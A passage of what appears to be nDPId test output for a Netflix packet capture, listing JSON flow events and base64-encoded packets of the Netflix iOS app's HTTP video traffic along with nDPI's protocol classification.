AAAAABeOgAAvACAAAAAAABf7QAAvACAAAAAAABdQgAAuACAAAAAAABfagAAvACAAAAAAABfgwAAvACAAAAAAABfawAAvACAAAAAAABgVwAAvACAAAAAAABgHwAAvACAAAAAAABeeQAAvACAAAAAAABhCwAAvACAAAAAAABcpwAAuACAAAAAAABemQAAvACAAAAAAABgGQAAvACAAAAAAABfVgAAvACAAAAAAABfyAAAvACAAAAAAABfWQAAvACAAAAAAABfSgAAvACAAAAAAABhgAAAvACAAAAAAABbVgAAuACAAAAAAABgBgAAvACAAAAAAABfQwAAvACAAAAAAABf\/wAAvACAAAAAAABfbQAAvACAAAAAAABfUAAAvACAAAAAAABfswAAvACAAAAAAABfGAAAvACAAAAAAABfqQAAuACAAAAAAABeKQAAvACAAAAAAABfrAAAvACAAAAAAABemgAAvACAAAAAAABfhgAAvACAAAAAAABflgAAvACAAAAAAABhHQAAvACAAAAAAABfGAAAvACAAAAAAABdGQAAuACAAAAAAABe5gAAvACAAAAAAABgbQAAvACAAAAAAABeigAAvACAAAAAAABg+QAAvACAAAAAAABfAAAAvACAAAAAAABgSAAAvACAAAAAAABeGgAAvACAAAAAAABdmgAAuACAAAAAAABgKAAAvACAAAAAAABevAAAvACAAAAAAABgFQAAvACAAAAAAABe9gAAvACAAAAAAABfnAAAvACAAAAAAABftQAAvACAAAAAAABf8wA="} +02368{"flow_id":31,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":989,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319050,"pkt_ts_usec":953096,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"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"} +02364{"flow_id":31,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":991,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319051,"pkt_ts_usec":32911,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"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\/MAALwAgAAAAAA="} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1027,"source":"netflix.pcap","alias":"nDPId-test","flow_id":32,"flow_packet_id":1,"flow_first_seen":1484319052216,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"23.246.10.139","src_port":53164,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00446{"flow_id":32,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1027,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319052,"pkt_ts_usec":216458,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"gCqoTGHM5JjWH70UCABFAABAN3hAAEAGHxDAqAEHF\/YKi8+sAFBgdy0VAAAAALAC\/\/\/UZQAAAgQFtAEDAwUBAQgKH2UBeQAAAAAEAgAA"} +00440{"flow_id":32,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1031,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319052,"pkt_ts_usec":235250,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"5JjWH70UgCqoTGHMCABFIAA8AABAADsGW2wX9gqLwKgBBwBQz6xlmlqWYHctFqAS\/\/8JBgAAAgQFtAEDAwkEAggKQI7bkB9lAXk="} +00427{"flow_id":32,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1032,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319052,"pkt_ts_usec":237833,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0JFZAAEAGMj7AqAEHF\/YKi8+sAFBgdy0WZZpal4AQEBUnrAAAAQEICh9lAYxAjtuQ"} +00907{"flow_id":32,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1033,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319052,"pkt_ts_usec":242977,"pkt_caplen":422,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":422,"pkt_l4_len":388,"pkt":"gCqoTGHM5JjWH70UCABFAAGYZXBAAEAG77\/AqAEHF\/YKi8+sAFBgdy0WZZpal4AYEBXLwAAAAQEICh9lAZFAjtuQR0VUIC9yYW5nZS8wLTY1NTM1P289QVFFZktxMm9NckxSaVdMLXAtVmVJWjZXS1JxLVg2TE12YUxxZ3hXQkN1RmJoMDlNcHJlT1JVVU9PNVR4MTY4M0hQbkxZNkJQak5fOW1sRHVZaWhHWm9YdTl1MG96SDhSRmlvQk5fSkROaVJzY2lkanZvU2RXbWx5WmdQTmFuc1cwbGtCcjRYODFIdmxvT2k4QlNfZXhWU1BoTXlKUVRCNWJnJnY9MyZlPTE0ODQzNDc4NTAmdD0tZGpHWEljYkZCTnp5ZnVncUVXY3JndENweVkmcmFuZG9tPTM0MDczNjA3NzYgSFRUUC8xLjENCkhvc3Q6IDIzLjI0Ni4xMC4xMzkNCkFjY2VwdDogKi8qDQpBY2NlcHQtRW5jb2Rpbmc6IGRlZmxhdGUsIGd6aXANClVzZXItQWdlbnQ6IG5ldGZsaXgtaW9zLWFwcA0KDQo="} +00929{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1033,"source":"netflix.pcap","alias":"nDPId-test","flow_id":32,"flow_packet_id":4,"flow_first_seen":1484319052216,"flow_last_seen":1484319052242,"flow_tot_l4_data_len":504,"flow_min_l4_data_len":32,"flow_max_l4_data_len":388,"flow_avg_l4_data_len":126,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"23.246.10.139","src_port":53164,"dst_port":80,"l4_proto":"tcp","ndpi": {"flow_risk": {"12":"HTTP Numeric IP Address"},"proto":"HTTP.NetFlix","breed":"Fun","category":"Video"},"http": {"hostname":"23.246.10.139","url":"23.246.10.139\/range\/0-65535?o=AQEfKq2oMrLRiWL-p-VeIZ6WKRq-X6LMvaLqgxWBCuFbh09MpreORUUOO5Tx1683HPnLY6BPjN_9mlDuYihGZoXu9u0ozH8RFioBN_JDNiRscidjvoSdWmlyZgPNansW0lkBr4X81HvloOi8BS_exVSPhMyJQTB5bg&v=3&e=1484347850&t=-djGXIcbFBNzyfugqEWcrgtCpyY&random=3407360776","code":0,"content_type":"","user_agent":"netflix-ios-app"}} +01117{"flow_id":32,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1034,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319052,"pkt_ts_usec":270991,"pkt_caplen":582,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":582,"pkt_l4_len":548,"pkt":"5JjWH70UgCqoTGHMCABFIAI4AABAADsGWXAX9gqLwKgBBwBQz6xlmlqXYHcueoAQCAJ9jgAAAQEICkCO27MfZQGRSFRUUC8xLjEgMjAwIE9LDQpTZXJ2ZXI6IG5naW54DQpEYXRlOiBGcmksIDEzIEphbiAyMDE3IDE0OjUwOjUyIEdNVA0KQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0NCkNvbnRlbnQtTGVuZ3RoOiA2NTUzNg0KTGFzdC1Nb2RpZmllZDogV2VkLCAwMiBEZWMgMjAxNSAxMTo1NjoxMSBHTVQNCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNCkNhY2hlLUNvbnRyb2w6IG5vLXN0b3JlDQpQcmFnbWE6IG5vLWNhY2hlDQpBY2Nlc3MtQ29udHJvbC1BbGxvdy1PcmlnaW46ICoNCkFjY2Vzcy1Db250cm9sLUV4cG9zZS1IZWFkZXJzOiBYLVRDUC1JbmZvLFgtU2Vzc2lvbi1JbmZvDQpYLVRDUC1JbmZvOiBoMD0xNjkxOTM1MzA7aDE9MzQ4NzI0MzI0ODtoMj0zNzE0MjA4Mzg0O2gzPTY2MDIzMTMzO2g0PTE4NTY2Mzk4ODk7DQpYLVNlc3Npb24tSW5mbzogYWRkcj03My4yMDMuMTA3LjIzO3BvcnQ9NTMxNjQ7YXJncD02LnNOYzBEWFNmOFRIRTNmNHk4VnVObGtUSExzRW5RMUNLY2tDN3VzdzJ2YkENCg0K"} +02366{"flow_id":32,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1035,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319052,"pkt_ts_usec":272034,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"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"} +02372{"flow_id":32,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1036,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319052,"pkt_ts_usec":277473,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"5JjWH70UgCqoTGHMCABFIAXcAAFAADsGVcsX9gqLwKgBBwBQz6xlmmJDYHcueoAQCAJBEwAAAQEICkCO27QfZQGRALwAgAAAAAAAX\/gAALwAgAAAAAAAX94AALwAgAAAAAAAXwcAALwAgAAAAAAAXz0AALwAgAAAAAAAXTMAALgAgAAAAAAAX\/sAALwAgAAAAAAAYRMAALwAgAAAAAAAXh4AALwAgAAAAAAAX3YAALwAgAAAAAAAX3IAALwAgAAAAAAAX\/sAALwAgAAAAAAAXuoAALwAgAAAAAAAXVIAALgAgAAAAAAAX6cAALwAgAAAAAAAYQUAALwAgAAAAAAAXuQAALwAgAAAAAAAXysAALwAgAAAAAAAX0QAALwAgAAAAAAAXzwAALwAgAAAAAAAX8wAALwAgAAAAAAAXcAAALgAgAAAAAAAX7IAALwAgAAAAAAAXzIAALwAgAAAAAAAX1oAALwAgAAAAAAAX7cAALwAgAAAAAAAX88AALwAgAAAAAAAX58AALwAgAAAAAAAXvQAALwAgAAAAAAAXlEAALgAgAAAAAAAYGMAALwAgAAAAAAAXqsAALwAgAAAAAAAXzYAALwAgAAAAAAAX\/AAALwAgAAAAAAAX20AALwAgAAAAAAAXvkAALwAgAAAAAAAX\/AAALwAgAAAAAAAXZUAALgAgAAAAAAAX4MAALwAgAAAAAAAX8EAALwAgAAAAAAAX0sAALwAgAAAAAAAX5kAALwAgAAAAAAAX2EAALwAgAAAAAAAX6gAALwAgAAAAAAAXxYAALwAgAAAAAAAXWIAALgAgAAAAAAAYAoAALwAgAAAAAAAXyoAALwAgAAAAAAAX4MAALwAgAAAAAAAX5wAALwAgAAAAAAAX1IAALwAgAAAAAAAX7YAALwAgAAAAAAAX28AALwAgAAAAAAAXXkAALgAgAAAAAAAX6wAALwAgAAAAAAAX2wAALwAgAAAAAAAX54AALwAgAAAAAAAYBMAALwAgAAAAAAAX5gAALwAgAAAAAAAXw4AALwAgAAAAAAAYAAAALwAgAAAAAAAXYcAALgAgAAAAAAAX04AALwAgAAAAAAAX9UAALwAgAAAAAAAX9oAALwAgAAAAAAAX1cAALwAgAAAAAAAX0IAALwAgAAAAAAAX+MAALwAgAAAAAAAXsUAALwAgAAAAAAAXfoAALgAgAAAAAAAX30AALwAgAAAAAAAX6oAALwAgAAAAAAAX1gAALwAgAAAAAAAX\/sAALwAgAAAAAAAXwUAALwAgAAAAAAAX14AALwAgAAAAAAAX\/YAALwAgAAAAAAAXQMAALgAgAAAAAAAX3AAALwAgAAAAAAAX38AALwAgAAAAAAAX\/MAALwAgAAAAAAAYCAAALwAgAAAAAAAXykAALwAgAAAAAAAX4kAALwAgAAAAAAAXusAALwAgAAAAAAAXmgAALgAgAAAAAAAX0cAALwAgAAAAAAAXzAAALwAgAAAAAAAX0sAALwAgAAAAAAAYFwAALwAgAAAAAAAXtEAALwAgAAAAAAAYDAAALwAgAAAAAAAXvAAALwAgAAAAAAAXZ0AALgAgAAAAAAAX4MAALwAgAAAAAAAYDAAALwAgAAAAAAAXwcAALwAgAAAAAAAXzsAALwAgAAAAAAAYRMAALwAgAAAAAAAXs4AALwAgAAAAAAAXwgAALwAgAAAAAAAXb4AALgAgAAAAAAAXvsAALwAgAAAAAAAYF4AALwAgAAAAAAAXzEAALwAgAAAAAAAX+cAALwAgAAAAAAAX1cAALwAgAAAAAAAYCEAALwAgAAAAAAAX6gAALwAgAAAAAAAXFMAALgAgAAAAAAAYEgAALwAgAAAAAAAXtYAALwAgAAAAAAAYMcAALwAgAAAAAAAXxsAALwAgAAAAAAAX50AALwAgAAAAAAAXswAALwAgAAAAAAAX6QAALwAgAAAAAAAXbYAALgAgAAAAAAAX0gAALwAgAAAAAAAXzYAALwAgAAAAAAAX5QAALwAgAAAAAA="} +00428{"flow_id":32,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1037,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319052,"pkt_ts_usec":278485,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0vaRAAEAGmO\/AqAEHF\/YKi8+sAFBgdy56ZZpiQ4AQD9gekAAAAQEICh9lAbJAjtuz"} +02382{"flow_id":32,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1038,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319052,"pkt_ts_usec":290715,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"5JjWH70UgCqoTGHMCABFIAXcAAJAADsGVcoX9gqLwKgBBwBQz6xlmmfrYHcueoAQCAITCwAAAQEICkCO27QfZQGRAF\/OAAC8AIAAAAAAAF+wAAC8AIAAAAAAAF9EAAC8AIAAAAAAAF+bAAC8AIAAAAAAAF2GAAC4AIAAAAAAAF9dAAC8AIAAAAAAAF\/BAAC8AIAAAAAAAF9NAAC8AIAAAAAAAF9QAAC8AIAAAAAAAF+YAAC8AIAAAAAAAGChAAC8AIAAAAAAAGATAAC8AIAAAAAAAFyTAAC4AIAAAAAAAF+IAAC8AIAAAAAAAF8sAAC8AIAAAAAAAF8mAAC8AIAAAAAAAGAfAAC8AIAAAAAAAF8JAAC8AIAAAAAAAF\/cAAC8AIAAAAAAAF+nAAC8AIAAAAAAAF0pAAC4AIAAAAAAAGBLAAC8AIAAAAAAAF7YAAC8AIAAAAAAAF\/GAAC8AIAAAAAAAF8vAAC8AIAAAAAAAGEvAAC8AIAAAAAAAF4PAAC8AIAAAAAAAF+RAAC8AIAAAAAAAF8KAAC4AIAAAAAAAF5rAAC8AIAAAAAAAF9IAAC8AIAAAAAAAF+oAAC8AIAAAAAAAF+cAAC8AIAAAAAAAF9gAAC8AIAAAAAAAF\/zAAC8AIAAAAAAAF8iAAC8AIAAAAAAAF2IAAC4AIAAAAAAAGDXAAC8AIAAAAAAAF5QAAC8AIAAAAAAAGBzAAC8AIAAAAAAAF6sAAC8AIAAAAAAAF9jAAC8AIAAAAAAAGAVAAC8AIAAAAAAAF8SAAC8AIAAAAAAAF2YAAC4AIAAAAAAAF8tAAC8AIAAAAAAAF\/GAAC8AIAAAAAAAF9oAAC8AIAAAAAAAF\/XAAC8AIAAAAAAAF\/LAAC8AIAAAAAAAF+fAAC8AIAAAAAAAF+iAAC8AIAAAAAAAF0hAAC4AIAAAAAAAGBUAAC8AIAAAAAAAF94AAC8AIAAAAAAAF\/BAAC8AIAAAAAAAF4SAAC8AIAAAAAAAGBzAAC8AIAAAAAAAF9eAAC8AIAAAAAAAGAOAAC8AIAAAAAAAF08AAC4AIAAAAAAAF7XAAC8AIAAAAAAAGCmAAC8AIAAAAAAAF73AAC8AIAAAAAAAF8RAAC8AIAAAAAAAF+aAAC8AIAAAAAAAF\/hAAC8AIAAAAAAAF8GAAC8AIAAAAAAAF3vAAC4AIAAAAAAAF9JAAC8AIAAAAAAAF\/jAAC8AIAAAAAAAF9HAAC8AIAAAAAAAF\/tAAC8AIAAAAAAAF9oAAC8AIAAAAAAAF9UAAC8AIAAAAAAAF87AAC8AIAAAAAAAF5UAAC4AIAAAAAAAF+LAAC8AIAAAAAAAF92AAC8AIAAAAAAAF7\/AAC8AIAAAAAAAF9AAAC8AIAAAAAAAF+2AAC8AIAAAAAAAF+gAAC8AIAAAAAAAF94AAC8AIAAAAAAAF3SAAC4AIAAAAAAAF+HAAC8AIAAAAAAAF8GAAC8AIAAAAAAAF9kAAC8AIAAAAAAAGAwAAC8AIAAAAAAAGABAAC8AIAAAAAAAF9iAAC8AIAAAAAAAF9PAAC8AIAAAAAAAF3OAAC4AIAAAAAAAF58AAC8AIAAAAAAAF\/EAAC8AIAAAAAAAF+3AAC8AIAAAAAAAF\/NAAC8AIAAAAAAAF+WAAC8AIAAAAAAAF7dAAC8AIAAAAAAAGAqAAC8AIAAAAAAAF0XAAC4AIAAAAAAAGBZAAC8AIAAAAAAAF6WAAC8AIAAAAAAAF\/dAAC8AIAAAAAAAF\/GAAC8AIAAAAAAAF+YAAC8AIAAAAAAAF+CAAC8AIAAAAAAAGC4AAC8AIAAAAAAAFvxAAC4AIAAAAAAAF98AAC8AIAAAAAAAF\/AAAC8AIAAAAAAAF+lAAC8AIAAAAAAAGAoAAC8AIAAAAAAAF9bAAC8AIAAAAAAAGCPAAC8AIAAAAAAAF6vAAC8AIAAAAAAAF1AAAC4AIAAAAAAAF9bAAC8AIAAAAAAAGAQAAC8AIAAAAAAAF7wAAC8AIAAAAAAAF+KAAC8AIA="} 